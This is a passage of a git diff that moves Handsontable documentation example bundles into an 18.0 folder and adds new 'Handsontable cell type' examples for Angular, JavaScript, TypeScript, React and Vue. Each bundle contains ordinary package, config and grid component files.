b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..0b861c65 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Handsontable cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst colorData = [\n ['yellow'],\n ['red'],\n ['orange'],\n ['green'],\n ['blue'],\n ['gray'],\n ['black'],\n ['white'],\n];\n\nconst manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\n@Component({\n selector: 'example1-handsontable-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0)) as { name: string };\n\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: false,\n data: colorData,\n },\n },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: false,\n data: colorData,\n },\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/handsontable-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..d1a13eb9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Handsontable cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colorData = [['yellow'], ['red'], ['orange'], ['green'], ['blue'], ['gray'], ['black'], ['white']];\nconst manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n return this.getSourceDataAtRow(Math.max(selection[0], 0)).name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: false,\n data: colorData,\n },\n },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: false,\n data: colorData,\n },\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/handsontable-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..5d3765d3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Handsontable cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Manufacturer {\n name: string;\n country: string;\n owner: string;\n}\n\nconst colorData: [string][] = [['yellow'], ['red'], ['orange'], ['green'], ['blue'], ['gray'], ['black'], ['white']];\n\nconst manufacturerData: Manufacturer[] = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0)) as { name: string };\n\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: false,\n data: colorData,\n },\n },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: false,\n data: colorData,\n },\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/handsontable-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..8bf7ea8e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Handsontable cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const colorData = [['yellow'], ['red'], ['orange'], ['green'], ['blue'], ['gray'], ['black'], ['white']];\n\n const manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/handsontable-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..04122822 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__handsontable-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Handsontable cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/handsontable-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__multiselect-cell-type__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__multiselect-cell-type__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__javascript__example1.js.json diff --git 